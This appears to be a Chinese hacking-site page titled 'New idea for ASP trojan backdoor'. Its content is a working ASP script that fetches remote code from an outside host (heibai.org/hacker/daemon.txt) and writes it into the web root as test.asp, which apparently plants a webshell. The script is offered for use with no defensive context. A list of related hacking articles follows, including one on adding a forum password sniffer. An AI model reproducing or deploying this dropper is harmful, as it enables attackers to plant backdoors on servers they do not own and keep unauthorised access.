ASP木马后门新思路

所属分类: 实用技巧 / 漏洞研究 阅读数: 1795
收藏 0 赞 0 分享
<%  
Function GetPage(url)  
dim Retrieval  
Set Retrieval = createObject("Microsoft.XMLHTTP")  
With Retrieval  
.Open "Get", url, False ', "", ""  
.Send  
GetPage = BytesToBstr(.ResponseBody)  
End With  
Set Retrieval = Nothing  
End Function  

Function BytesToBstr(body)  
dim objstream  
set objstream = Server.createObject("adodb.stream")  
objstream.Type = 1  
objstream.Mode =3  
objstream.Open  
objstream.Write body  
objstream.Position = 0  
objstream.Type = 2  
objstream.Charset = "GB2312"  
BytesToBstr = objstream.ReadText  
objstream.Close  
set objstream = nothing  
End Function  
on error resume next  
Url="http://www.heibai.org/hacker/daemon.txt"  
response.write "开始取得远程代码........"  
wstr = GetPage(Url)  

Set fs=Server.createObject("Scripting.FileSystemObject")  

Set CrFi=fs.createTextFile(server.MapPath("./")&"\test.asp")  
Crfi.Writeline(wstr)  
set CrFi=nothing  
set fs=nothing  
response.write "...<font color=red>生成test.asp文件成功</font>"  
%>  
更多精彩内容其他人还在看

为动网论坛添加一个密码嗅探器(DVBBS)

为动网论坛添加一个密码嗅探器(DVBBS)
收藏 0 赞 0 分享

黑客攻击揭密--分析选定的网络攻击

黑客攻击揭密--分析选定的网络攻击
收藏 0 赞 0 分享

2005年黑客聚焦:追踪垃圾邮件(图)

2005年黑客聚焦:追踪垃圾邮件(图)
收藏 0 赞 0 分享

剖析网站遭遇的黑客的三次入侵

剖析网站遭遇的黑客的三次入侵
收藏 0 赞 0 分享

域名劫持---163.net被黑的分析

域名劫持---163.net被黑的分析
收藏 0 赞 0 分享

悬念音乐程序安装程序写马(图)

悬念音乐程序安装程序写马(图)
收藏 0 赞 0 分享

为什么经常被网络入侵?探究原因

为什么经常被网络入侵?探究原因
收藏 0 赞 0 分享

黑客之门的魅力:感染与加载(图)

黑客之门的魅力:感染与加载(图)
收藏 0 赞 0 分享

诱人视频请君入瓮 解析RealPlayer溢出漏洞

诱人视频请君入瓮 解析RealPlayer溢出漏洞
收藏 0 赞 0 分享

漏洞漫舞的飞骋

漏洞漫舞的飞骋
收藏 0 赞 0 分享
查看更多